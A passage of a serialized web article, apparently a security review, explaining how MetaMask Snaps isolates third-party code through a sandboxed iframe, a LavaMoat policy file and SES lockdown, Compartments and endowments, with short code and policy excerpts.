Window",{"type":23,"tag":504,"props":35397,"children":35398},{"style":523},[35399],{"type":28,"value":866},{"type":23,"tag":504,"props":35401,"children":35402},{"class":506,"line":555},[35403,35408,35412,35417],{"type":23,"tag":504,"props":35404,"children":35405},{"style":529},[35406],{"type":28,"value":35407},"    stream",{"type":23,"tag":504,"props":35409,"children":35410},{"style":598},[35411],{"type":28,"value":3472},{"type":23,"tag":504,"props":35413,"children":35414},{"style":1012},[35415],{"type":28,"value":35416}," BasePostMessageStream",{"type":23,"tag":504,"props":35418,"children":35419},{"style":523},[35420],{"type":28,"value":866},{"type":23,"tag":504,"props":35422,"children":35423},{"class":506,"line":633},[35424],{"type":23,"tag":504,"props":35425,"children":35426},{"style":523},[35427],{"type":28,"value":35428},"  }> {\n",{"type":23,"tag":504,"props":35430,"children":35431},{"class":506,"line":687},[35432,35437,35442,35446,35450,35455,35459,35463,35467,35472,35476,35481,35485,35489],{"type":23,"tag":504,"props":35433,"children":35434},{"style":523},[35435],{"type":28,"value":35436},"    const ",{"type":23,"tag":504,"props":35438,"children":35439},{"style":529},[35440],{"type":28,"value":35441},"iframeWindow",{"type":23,"tag":504,"props":35443,"children":35444},{"style":598},[35445],{"type":28,"value":648},{"type":23,"tag":504,"props":35447,"children":35448},{"style":544},[35449],{"type":28,"value":35188},{"type":23,"tag":504,"props":35451,"children":35452},{"style":517},[35453],{"type":28,"value":35454}," createWindow",{"type":23,"tag":504,"props":35456,"children":35457},{"style":523},[35458],{"type":28,"value":526},{"type":23,"tag":504,"props":35460,"children":35461},{"style":511},[35462],{"type":28,"value":16673},{"type":23,"tag":504,"props":35464,"children":35465},{"style":523},[35466],{"type":28,"value":320},{"type":23,"tag":504,"props":35468,"children":35469},{"style":529},[35470],{"type":28,"value":35471},"iframeUrl",{"type":23,"tag":504,"props":35473,"children":35474},{"style":523},[35475],{"type":28,"value":320},{"type":23,"tag":504,"props":35477,"children":35478},{"style":517},[35479],{"type":28,"value":35480},"toString",{"type":23,"tag":504,"props":35482,"children":35483},{"style":523},[35484],{"type":28,"value":17355},{"type":23,"tag":504,"props":35486,"children":35487},{"style":529},[35488],{"type":28,"value":35174},{"type":23,"tag":504,"props":35490,"children":35491},{"style":523},[35492],{"type":28,"value":630},{"type":23,"tag":504,"props":35494,"children":35495},{"class":506,"line":736},[35496],{"type":23,"tag":504,"props":35497,"children":35498},{"emptyLinePlaceholder":16},[35499],{"type":28,"value":1038},{"type":23,"tag":504,"props":35501,"children":35502},{"class":506,"line":785},[35503,35507,35511,35515,35519,35524],{"type":23,"tag":504,"props":35504,"children":35505},{"style":523},[35506],{"type":28,"value":35436},{"type":23,"tag":504,"props":35508,"children":35509},{"style":529},[35510],{"type":28,"value":35238},{"type":23,"tag":504,"props":35512,"children":35513},{"style":598},[35514],{"type":28,"value":648},{"type":23,"tag":504,"props":35516,"children":35517},{"style":511},[35518],{"type":28,"value":30911},{"type":23,"tag":504,"props":35520,"children":35521},{"style":517},[35522],{"type":28,"value":35523}," WindowPostMessageStream",{"type":23,"tag":504,"props":35525,"children":35526},{"style":523},[35527],{"type":28,"value":14120},{"type":23,"tag":504,"props":35529,"children":35530},{"class":506,"line":813},[35531,35536,35541],{"type":23,"tag":504,"props":35532,"children":35533},{"style":529},[35534],{"type":28,"value":35535},"      name:",{"type":23,"tag":504,"props":35537,"children":35538},{"style":622},[35539],{"type":28,"value":35540}," 'parent'",{"type":23,"tag":504,"props":35542,"children":35543},{"style":523},[35544],{"type":28,"value":2484},{"type":23,"tag":504,"props":35546,"children":35547},{"class":506,"line":851},[35548,35553,35558],{"type":23,"tag":504,"props":35549,"children":35550},{"style":529},[35551],{"type":28,"value":35552},"      target:",{"type":23,"tag":504,"props":35554,"children":35555},{"style":622},[35556],{"type":28,"value":35557}," 'child'",{"type":23,"tag":504,"props":35559,"children":35560},{"style":523},[35561],{"type":28,"value":2484},{"type":23,"tag":504,"props":35563,"children":35564},{"class":506,"line":869},[35565,35570,35575],{"type":23,"tag":504,"props":35566,"children":35567},{"style":529},[35568],{"type":28,"value":35569},"      targetWindow:",{"type":23,"tag":504,"props":35571,"children":35572},{"style":529},[35573],{"type":28,"value":35574}," iframeWindow",{"type":23,"tag":504,"props":35576,"children":35577},{"style":523},[35578],{"type":28,"value":2484},{"type":23,"tag":504,"props":35580,"children":35581},{"class":506,"line":878},[35582,35587,35592],{"type":23,"tag":504,"props":35583,"children":35584},{"style":529},[35585],{"type":28,"value":35586},"      targetOrigin:",{"type":23,"tag":504,"props":35588,"children":35589},{"style":622},[35590],{"type":28,"value":35591}," '*'",{"type":23,"tag":504,"props":35593,"children":35594},{"style":523},[35595],{"type":28,"value":2484},{"type":23,"tag":504,"props":35597,"children":35598},{"class":506,"line":1221},[35599],{"type":23,"tag":504,"props":35600,"children":35601},{"style":523},[35602],{"type":28,"value":31234},{"type":23,"tag":504,"props":35604,"children":35605},{"class":506,"line":1276},[35606],{"type":23,"tag":504,"props":35607,"children":35608},{"emptyLinePlaceholder":16},[35609],{"type":28,"value":1038},{"type":23,"tag":504,"props":35611,"children":35612},{"class":506,"line":1285},[35613,35618,35622,35626,35630],{"type":23,"tag":504,"props":35614,"children":35615},{"style":523},[35616],{"type":28,"value":35617},"    return { worker: ",{"type":23,"tag":504,"props":35619,"children":35620},{"style":529},[35621],{"type":28,"value":35441},{"type":23,"tag":504,"props":35623,"children":35624},{"style":523},[35625],{"type":28,"value":576},{"type":23,"tag":504,"props":35627,"children":35628},{"style":529},[35629],{"type":28,"value":35238},{"type":23,"tag":504,"props":35631,"children":35632},{"style":523},[35633],{"type":28,"value":782},{"type":23,"tag":504,"props":35635,"children":35636},{"class":506,"line":1294},[35637],{"type":23,"tag":504,"props":35638,"children":35639},{"style":523},[35640],{"type":28,"value":4855},{"type":23,"tag":24,"props":35642,"children":35643},{},[35644,35646,35652,35654,35661],{"type":28,"value":35645},"Here the iframe is created via ",{"type":23,"tag":56,"props":35647,"children":35649},{"className":35648},[],[35650],{"type":28,"value":35651},"createWindow",{"type":28,"value":35653},", which is defined in snaps-utils ",{"type":23,"tag":92,"props":35655,"children":35658},{"href":35656,"rel":35657},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[96],[35659],{"type":28,"value":35660},"package",{"type":28,"value":3472},{"type":23,"tag":494,"props":35663,"children":35665},{"className":34907,"code":35664,"language":34909,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[35666],{"type":23,"tag":56,"props":35667,"children":35668},{"__ignoreMap":7},[35669,35712,35750,35787,35794,35814,35852,35859,35896],{"type":23,"tag":504,"props":35670,"children":35671},{"class":506,"line":507},[35672,35676,35681,35685,35690,35694,35699,35703,35708],{"type":23,"tag":504,"props":35673,"children":35674},{"style":511},[35675],{"type":28,"value":8635},{"type":23,"tag":504,"props":35677,"children":35678},{"style":529},[35679],{"type":28,"value":35680}," iframe",{"type":23,"tag":504,"props":35682,"children":35683},{"style":598},[35684],{"type":28,"value":648},{"type":23,"tag":504,"props":35686,"children":35687},{"style":529},[35688],{"type":28,"value":35689}," document",{"type":23,"tag":504,"props":35691,"children":35692},{"style":523},[35693],{"type":28,"value":320},{"type":23,"tag":504,"props":35695,"children":35696},{"style":517},[35697],{"type":28,"value":35698},"createElement",{"type":23,"tag":504,"props":35700,"children":35701},{"style":523},[35702],{"type":28,"value":526},{"type":23,"tag":504,"props":35704,"children":35705},{"style":622},[35706],{"type":28,"value":35707},"'iframe'",{"type":23,"tag":504,"props":35709,"children":35710},{"style":523},[35711],{"type":28,"value":630},{"type":23,"tag":504,"props":35713,"children":35714},{"class":506,"line":540},[35715,35720,35724,35729,35733,35738,35742,35746],{"type":23,"tag":504,"props":35716,"children":35717},{"style":529},[35718],{"type":28,"value":35719},"    iframe",{"type":23,"tag":504,"props":35721,"children":35722},{"style":523},[35723],{"type":28,"value":320},{"type":23,"tag":504,"props":35725,"children":35726},{"style":517},[35727],{"type":28,"value":35728},"setAttribute",{"type":23,"tag":504,"props":35730,"children":35731},{"style":523},[35732],{"type":28,"value":526},{"type":23,"tag":504,"props":35734,"children":35735},{"style":622},[35736],{"type":28,"value":35737},"'id'",{"type":23,"tag":504,"props":35739,"children":35740},{"style":523},[35741],{"type":28,"value":576},{"type":23,"tag":504,"props":35743,"children":35744},{"style":529},[35745],{"type":28,"value":2462},{"type":23,"tag":504,"props":35747,"children":35748},{"style":523},[35749],{"type":28,"value":630},{"type":23,"tag":504,"props":35751,"children":35752},{"class":506,"line":555},[35753,35757,35761,35765,35769,35774,35778,35783],{"type":23,"tag":504,"props":35754,"children":35755},{"style":529},[35756],{"type":28,"value":35719},{"type":23,"tag":504,"props":35758,"children":35759},{"style":523},[35760],{"type":28,"value":320},{"type":23,"tag":504,"props":35762,"children":35763},{"style":517},[35764],{"type":28,"value":35728},{"type":23,"tag":504,"props":35766,"children":35767},{"style":523},[35768],{"type":28,"value":526},{"type":23,"tag":504,"props":35770,"children":35771},{"style":622},[35772],{"type":28,"value":35773},"'data-testid'",{"type":23,"tag":504,"props":35775,"children":35776},{"style":523},[35777],{"type":28,"value":576},{"type":23,"tag":504,"props":35779,"children":35780},{"style":622},[35781],{"type":28,"value":35782},"'snaps-iframe'",{"type":23,"tag":504,"props":35784,"children":35785},{"style":523},[35786],{"type":28,"value":630},{"type":23,"tag":504,"props":35788,"children":35789},{"class":506,"line":633},[35790],{"type":23,"tag":504,"props":35791,"children":35792},{"emptyLinePlaceholder":16},[35793],{"type":28,"value":1038},{"type":23,"tag":504,"props":35795,"children":35796},{"class":506,"line":687},[35797,35801,35805,35810],{"type":23,"tag":504,"props":35798,"children":35799},{"style":544},[35800],{"type":28,"value":11261},{"type":23,"tag":504,"props":35802,"children":35803},{"style":523},[35804],{"type":28,"value":801},{"type":23,"tag":504,"props":35806,"children":35807},{"style":529},[35808],{"type":28,"value":35809},"sandbox",{"type":23,"tag":504,"props":35811,"children":35812},{"style":523},[35813],{"type":28,"value":537},{"type":23,"tag":504,"props":35815,"children":35816},{"class":506,"line":736},[35817,35822,35826,35830,35834,35839,35843,35848],{"type":23,"tag":504,"props":35818,"children":35819},{"style":529},[35820],{"type":28,"value":35821},"      iframe",{"type":23,"tag":504,"props":35823,"children":35824},{"style":523},[35825],{"type":28,"value":320},{"type":23,"tag":504,"props":35827,"children":35828},{"style":517},[35829],{"type":28,"value":35728},{"type":23,"tag":504,"props":35831,"children":35832},{"style":523},[35833],{"type":28,"value":526},{"type":23,"tag":504,"props":35835,"children":35836},{"style":622},[35837],{"type":28,"value":35838},"'sandbox'",{"type":23,"tag":504,"props":35840,"children":35841},{"style":523},[35842],{"type":28,"value":576},{"type":23,"tag":504,"props":35844,"children":35845},{"style":622},[35846],{"type":28,"value":35847},"'allow-scripts'",{"type":23,"tag":504,"props":35849,"children":35850},{"style":523},[35851],{"type":28,"value":630},{"type":23,"tag":504,"props":35853,"children":35854},{"class":506,"line":785},[35855],{"type":23,"tag":504,"props":35856,"children":35857},{"style":523},[35858],{"type":28,"value":875},{"type":23,"tag":504,"props":35860,"children":35861},{"class":506,"line":813},[35862,35866,35870,35874,35878,35883,35887,35892],{"type":23,"tag":504,"props":35863,"children":35864},{"style":529},[35865],{"type":28,"value":35719},{"type":23,"tag":504,"props":35867,"children":35868},{"style":523},[35869],{"type":28,"value":320},{"type":23,"tag":504,"props":35871,"children":35872},{"style":517},[35873],{"type":28,"value":35728},{"type":23,"tag":504,"props":35875,"children":35876},{"style":523},[35877],{"type":28,"value":526},{"type":23,"tag":504,"props":35879,"children":35880},{"style":622},[35881],{"type":28,"value":35882},"'src'",{"type":23,"tag":504,"props":35884,"children":35885},{"style":523},[35886],{"type":28,"value":576},{"type":23,"tag":504,"props":35888,"children":35889},{"style":529},[35890],{"type":28,"value":35891},"uri",{"type":23,"tag":504,"props":35893,"children":35894},{"style":523},[35895],{"type":28,"value":630},{"type":23,"tag":504,"props":35897,"children":35898},{"class":506,"line":851},[35899,35903,35907,35911,35915,35920,35924,35929],{"type":23,"tag":504,"props":35900,"children":35901},{"style":529},[35902],{"type":28,"value":33649},{"type":23,"tag":504,"props":35904,"children":35905},{"style":523},[35906],{"type":28,"value":320},{"type":23,"tag":504,"props":35908,"children":35909},{"style":529},[35910],{"type":28,"value":31377},{"type":23,"tag":504,"props":35912,"children":35913},{"style":523},[35914],{"type":28,"value":320},{"type":23,"tag":504,"props":35916,"children":35917},{"style":517},[35918],{"type":28,"value":35919},"appendChild",{"type":23,"tag":504,"props":35921,"children":35922},{"style":523},[35923],{"type":28,"value":526},{"type":23,"tag":504,"props":35925,"children":35926},{"style":529},[35927],{"type":28,"value":35928},"iframe",{"type":23,"tag":504,"props":35930,"children":35931},{"style":523},[35932],{"type":28,"value":630},{"type":23,"tag":24,"props":35934,"children":35935},{},[35936],{"type":28,"value":35937},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":82,"props":35939,"children":35941},{"id":35940},"lavamoat-against-supply-chain-attacks-layer-2",[35942],{"type":28,"value":35943},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":24,"props":35945,"children":35946},{},[35947],{"type":28,"value":35948},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":24,"props":35950,"children":35951},{},[35952,35954,35960],{"type":28,"value":35953},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":56,"props":35955,"children":35957},{"className":35956},[],[35958],{"type":28,"value":35959},"fs",{"type":28,"value":35961},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":24,"props":35963,"children":35964},{},[35965],{"type":28,"value":35966},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":24,"props":35968,"children":35969},{},[35970,35972,35979],{"type":28,"value":35971},"This is how a Policy file related to the iframes ",{"type":23,"tag":92,"props":35973,"children":35976},{"href":35974,"rel":35975},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[96],[35977],{"type":28,"value":35978},"looks",{"type":28,"value":3472},{"type":23,"tag":494,"props":35981,"children":35983},{"className":32973,"code":35982,"language":32975,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[35984],{"type":23,"tag":56,"props":35985,"children":35986},{"__ignoreMap":7},[35987,36000,36012,36032,36052,36072,36092,36112,36132,36152,36169,36177,36189,36209,36225,36232],{"type":23,"tag":504,"props":35988,"children":35989},{"class":506,"line":507},[35990,35995],{"type":23,"tag":504,"props":35991,"children":35992},{"style":622},[35993],{"type":28,"value":35994},"\"@metamask/post-message-stream\"",{"type":23,"tag":504,"props":35996,"children":35997},{"style":523},[35998],{"type":28,"value":35999},": {\n",{"type":23,"tag":504,"props":36001,"children":36002},{"class":506,"line":540},[36003,36008],{"type":23,"tag":504,"props":36004,"children":36005},{"style":529},[36006],{"type":28,"value":36007},"      \"globals\"",{"type":23,"tag":504,"props":36009,"children":36010},{"style":523},[36011],{"type":28,"value":35999},{"type":23,"tag":504,"props":36013,"children":36014},{"class":506,"line":555},[36015,36020,36024,36028],{"type":23,"tag":504,"props":36016,"children":36017},{"style":529},[36018],{"type":28,"value":36019},"        \"MessageEvent.prototype\"",{"type":23,"tag":504,"props":36021,"children":36022},{"style":523},[36023],{"type":28,"value":14311},{"type":23,"tag":504,"props":36025,"children":36026},{"style":511},[36027],{"type":28,"value":2972},{"type":23,"tag":504,"props":36029,"children":36030},{"style":523},[36031],{"type":28,"value":2484},{"type":23,"tag":504,"props":36033,"children":36034},{"class":506,"line":633},[36035,36040,36044,36048],{"type":23,"tag":504,"props":36036,"children":36037},{"style":529},[36038],{"type":28,"value":36039},"        \"WorkerGlobalScope\"",{"type":23,"tag":504,"props":36041,"children":36042},{"style":523},[36043],{"type":28,"value":14311},{"type":23,"tag":504,"props":36045,"children":36046},{"style":511},[36047],{"type":28,"value":2972},{"type":23,"tag":504,"props":36049,"children":36050},{"style":523},[36051],{"type":28,"value":2484},{"type":23,"tag":504,"props":36053,"children":36054},{"class":506,"line":687},[36055,36060,36064,36068],{"type":23,"tag":504,"props":36056,"children":36057},{"style":529},[36058],{"type":28,"value":36059},"        \"addEventListener\"",{"type":23,"tag":504,"props":36061,"children":36062},{"style":523},[36063],{"type":28,"value":14311},{"type":23,"tag":504,"props":36065,"children":36066},{"style":511},[36067],{"type":28,"value":2972},{"type":23,"tag":504,"props":36069,"children":36070},{"style":523},[36071],{"type":28,"value":2484},{"type":23,"tag":504,"props":36073,"children":36074},{"class":506,"line":736},[36075,36080,36084,36088],{"type":23,"tag":504,"props":36076,"children":36077},{"style":529},[36078],{"type":28,"value":36079},"        \"browser\"",{"type":23,"tag":504,"props":36081,"children":36082},{"style":523},[36083],{"type":28,"value":14311},{"type":23,"tag":504,"props":36085,"children":36086},{"style":511},[36087],{"type":28,"value":2972},{"type":23,"tag":504,"props":36089,"children":36090},{"style":523},[36091],{"type":28,"value":2484},{"type":23,"tag":504,"props":36093,"children":36094},{"class":506,"line":785},[36095,36100,36104,36108],{"type":23,"tag":504,"props":36096,"children":36097},{"style":529},[36098],{"type":28,"value":36099},"        \"chrome\"",{"type":23,"tag":504,"props":36101,"children":36102},{"style":523},[36103],{"type":28,"value":14311},{"type":23,"tag":504,"props":36105,"children":36106},{"style":511},[36107],{"type":28,"value":2972},{"type":23,"tag":504,"props":36109,"children":36110},{"style":523},[36111],{"type":28,"value":2484},{"type":23,"tag":504,"props":36113,"children":36114},{"class":506,"line":813},[36115,36120,36124,36128],{"type":23,"tag":504,"props":36116,"children":36117},{"style":529},[36118],{"type":28,"value":36119},"        \"location.origin\"",{"type":23,"tag":504,"props":36121,"children":36122},{"style":523},[36123],{"type":28,"value":14311},{"type":23,"tag":504,"props":36125,"children":36126},{"style":511},[36127],{"type":28,"value":2972},{"type":23,"tag":504,"props":36129,"children":36130},{"style":523},[36131],{"type":28,"value":2484},{"type":23,"tag":504,"props":36133,"children":36134},{"class":506,"line":851},[36135,36140,36144,36148],{"type":23,"tag":504,"props":36136,"children":36137},{"style":529},[36138],{"type":28,"value":36139},"        \"postMessage\"",{"type":23,"tag":504,"props":36141,"children":36142},{"style":523},[36143],{"type":28,"value":14311},{"type":23,"tag":504,"props":36145,"children":36146},{"style":511},[36147],{"type":28,"value":2972},{"type":23,"tag":504,"props":36149,"children":36150},{"style":523},[36151],{"type":28,"value":2484},{"type":23,"tag":504,"props":36153,"children":36154},{"class":506,"line":869},[36155,36160,36164],{"type":23,"tag":504,"props":36156,"children":36157},{"style":529},[36158],{"type":28,"value":36159},"        \"removeEventListener\"",{"type":23,"tag":504,"props":36161,"children":36162},{"style":523},[36163],{"type":28,"value":14311},{"type":23,"tag":504,"props":36165,"children":36166},{"style":511},[36167],{"type":28,"value":36168},"true\n",{"type":23,"tag":504,"props":36170,"children":36171},{"class":506,"line":878},[36172],{"type":23,"tag":504,"props":36173,"children":36174},{"style":523},[36175],{"type":28,"value":36176},"      },\n",{"type":23,"tag":504,"props":36178,"children":36179},{"class":506,"line":1221},[36180,36185],{"type":23,"tag":504,"props":36181,"children":36182},{"style":529},[36183],{"type":28,"value":36184},"      \"packages\"",{"type":23,"tag":504,"props":36186,"children":36187},{"style":523},[36188],{"type":28,"value":35999},{"type":23,"tag":504,"props":36190,"children":36191},{"class":506,"line":1276},[36192,36197,36201,36205],{"type":23,"tag":504,"props":36193,"children":36194},{"style":529},[36195],{"type":28,"value":36196},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":504,"props":36198,"children":36199},{"style":523},[36200],{"type":28,"value":14311},{"type":23,"tag":504,"props":36202,"children":36203},{"style":511},[36204],{"type":28,"value":2972},{"type":23,"tag":504,"props":36206,"children":36207},{"style":523},[36208],{"type":28,"value":2484},{"type":23,"tag":504,"props":36210,"children":36211},{"class":506,"line":1285},[36212,36217,36221],{"type":23,"tag":504,"props":36213,"children":36214},{"style":529},[36215],{"type":28,"value":36216},"        \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":504,"props":36218,"children":36219},{"style":523},[36220],{"type":28,"value":14311},{"type":23,"tag":504,"props":36222,"children":36223},{"style":511},[36224],{"type":28,"value":36168},{"type":23,"tag":504,"props":36226,"children":36227},{"class":506,"line":1294},[36228],{"type":23,"tag":504,"props":36229,"children":36230},{"style":523},[36231],{"type":28,"value":11645},{"type":23,"tag":504,"props":36233,"children":36234},{"class":506,"line":1302},[36235],{"type":23,"tag":504,"props":36236,"children":36237},{"style":523},[36238],{"type":28,"value":875},{"type":23,"tag":24,"props":36240,"children":36241},{},[36242,36244,36250,36252,36258,36260,36266,36268,36274,36275,36281],{"type":28,"value":36243},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":56,"props":36245,"children":36247},{"className":36246},[],[36248],{"type":28,"value":36249},"globals",{"type":28,"value":36251}," section, is the ",{"type":23,"tag":56,"props":36253,"children":36255},{"className":36254},[],[36256],{"type":28,"value":36257},"packages",{"type":28,"value":36259}," segment. This section permits the ",{"type":23,"tag":56,"props":36261,"children":36263},{"className":36262},[],[36264],{"type":28,"value":36265},"@metamask/post-message-stream",{"type":28,"value":36267},"package to exclusively interact with the package ",{"type":23,"tag":56,"props":36269,"children":36271},{"className":36270},[],[36272],{"type":28,"value":36273},"@metamask/utils",{"type":28,"value":430},{"type":23,"tag":56,"props":36276,"children":36278},{"className":36277},[],[36279],{"type":28,"value":36280},"readable-stream",{"type":28,"value":36282},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":24,"props":36284,"children":36285},{},[36286,36288,36294],{"type":28,"value":36287},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":56,"props":36289,"children":36291},{"className":36290},[],[36292],{"type":28,"value":36293},"lockdown",{"type":28,"value":36295}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":82,"props":36297,"children":36299},{"id":36298},"secure-ecmascript-ses-sandbox-layer-3",[36300],{"type":28,"value":36301},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":24,"props":36303,"children":36304},{},[36305,36307,36314],{"type":28,"value":36306},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":92,"props":36308,"children":36311},{"href":36309,"rel":36310},"https://github.com/endojs/endo/tree/master/packages/ses",[96],[36312],{"type":28,"value":36313},"Secure EcmaScript (SES)",{"type":28,"value":36315}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":17874,"props":36317,"children":36319},{"id":36318},"ses-fundamentals",[36320],{"type":28,"value":36321},"SES Fundamentals",{"type":23,"tag":36323,"props":36324,"children":36325},"h5",{"id":36293},[36326],{"type":28,"value":36327},"Lockdown",{"type":23,"tag":24,"props":36329,"children":36330},{},[36331,36333,36339],{"type":28,"value":36332},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":56,"props":36334,"children":36336},{"className":36335},[],[36337],{"type":28,"value":36338},"lockdown()",{"type":28,"value":36340}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":41,"props":36342,"children":36343},{},[36344,36357],{"type":23,"tag":45,"props":36345,"children":36346},{},[36347,36349,36355],{"type":28,"value":36348},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":56,"props":36350,"children":36352},{"className":36351},[],[36353],{"type":28,"value":36354},"Object.freeze",{"type":28,"value":36356}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":45,"props":36358,"children":36359},{},[36360,36362,36368,36370,36376],{"type":28,"value":36361},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":56,"props":36363,"children":36365},{"className":36364},[],[36366],{"type":28,"value":36367},"trace",{"type":28,"value":36369}," attribute in an ",{"type":23,"tag":56,"props":36371,"children":36373},{"className":36372},[],[36374],{"type":28,"value":36375},"Error",{"type":28,"value":36377}," object, which contains the stack trace of the error.",{"type":23,"tag":36323,"props":36379,"children":36381},{"id":36380},"compartment",[36382],{"type":28,"value":36383},"Compartment",{"type":23,"tag":24,"props":36385,"children":36386},{},[36387,36389,36395,36397,36402],{"type":28,"value":36388},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":56,"props":36390,"children":36392},{"className":36391},[],[36393],{"type":28,"value":36394},"globalThis",{"type":28,"value":36396}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":56,"props":36398,"children":36400},{"className":36399},[],[36401],{"type":28,"value":36394},{"type":28,"value":36403}," context is incapable of tampering with security.",{"type":23,"tag":494,"props":36405,"children":36407},{"className":34590,"code":36406,"language":34592,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[36408],{"type":23,"tag":56,"props":36409,"children":36410},{"__ignoreMap":7},[36411,36440,36473],{"type":23,"tag":504,"props":36412,"children":36413},{"class":506,"line":507},[36414,36418,36423,36427,36431,36436],{"type":23,"tag":504,"props":36415,"children":36416},{"style":511},[36417],{"type":28,"value":8635},{"type":23,"tag":504,"props":36419,"children":36420},{"style":529},[36421],{"type":28,"value":36422}," c",{"type":23,"tag":504,"props":36424,"children":36425},{"style":598},[36426],{"type":28,"value":648},{"type":23,"tag":504,"props":36428,"children":36429},{"style":511},[36430],{"type":28,"value":30911},{"type":23,"tag":504,"props":36432,"children":36433},{"style":517},[36434],{"type":28,"value":36435}," Compartment",{"type":23,"tag":504,"props":36437,"children":36438},{"style":523},[36439],{"type":28,"value":2647},{"type":23,"tag":504,"props":36441,"children":36442},{"class":506,"line":540},[36443,36447,36451,36455,36459,36464,36468],{"type":23,"tag":504,"props":36444,"children":36445},{"style":529},[36446],{"type":28,"value":2124},{"type":23,"tag":504,"props":36448,"children":36449},{"style":523},[36450],{"type":28,"value":320},{"type":23,"tag":504,"props":36452,"children":36453},{"style":529},[36454],{"type":28,"value":36394},{"type":23,"tag":504,"props":36456,"children":36457},{"style":598},[36458],{"type":28,"value":30400},{"type":23,"tag":504,"props":36460,"children":36461},{"style":529},[36462],{"type":28,"value":36463}," globalThis",{"type":23,"tag":504,"props":36465,"children":36466},{"style":523},[36467],{"type":28,"value":16206},{"type":23,"tag":504,"props":36469,"children":36470},{"style":1106},[36471],{"type":28,"value":36472},"// false\n",{"type":23,"tag":504,"props":36474,"children":36475},{"class":506,"line":555},[36476,36480,36484,36488,36492,36497,36501,36505,36509],{"type":23,"tag":504,"props":36477,"children":36478},{"style":529},[36479],{"type":28,"value":2124},{"type":23,"tag":504,"props":36481,"children":36482},{"style":523},[36483],{"type":28,"value":320},{"type":23,"tag":504,"props":36485,"children":36486},{"style":529},[36487],{"type":28,"value":36394},{"type":23,"tag":504,"props":36489,"children":36490},{"style":523},[36491],{"type":28,"value":320},{"type":23,"tag":504,"props":36493,"children":36494},{"style":529},[36495],{"type":28,"value":36496},"JSON",{"type":23,"tag":504,"props":36498,"children":36499},{"style":598},[36500],{"type":28,"value":30400},{"type":23,"tag":504,"props":36502,"children":36503},{"style":529},[36504],{"type":28,"value":653},{"type":23,"tag":504,"props":36506,"children":36507},{"style":523},[36508],{"type":28,"value":16206},{"type":23,"tag":504,"props":36510,"children":36511},{"style":1106},[36512],{"type":28,"value":36513},"// true\n",{"type":23,"tag":24,"props":36515,"children":36516},{},[36517,36519,36525,36527,36533,36535,36540],{"type":28,"value":36518},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":56,"props":36520,"children":36522},{"className":36521},[],[36523],{"type":28,"value":36524},"eval",{"type":28,"value":36526}," and the ",{"type":23,"tag":56,"props":36528,"children":36530},{"className":36529},[],[36531],{"type":28,"value":36532},"Function",{"type":28,"value":36534}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":56,"props":36536,"children":36538},{"className":36537},[],[36539],{"type":28,"value":36394},{"type":28,"value":320},{"type":23,"tag":36323,"props":36542,"children":36544},{"id":36543},"endowments",[36545],{"type":28,"value":36546},"Endowments",{"type":23,"tag":24,"props":36548,"children":36549},{},[36550,36552,36556,36558,36563],{"type":28,"value":36551},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":1887,"props":36553,"children":36554},{},[36555],{"type":28,"value":36543},{"type":28,"value":36557},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":56,"props":36559,"children":36561},{"className":36560},[],[36562],{"type":28,"value":36394},{"type":28,"value":36564},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":24,"props":36566,"children":36567},{},[36568,36570,36576],{"type":28,"value":36569},"In 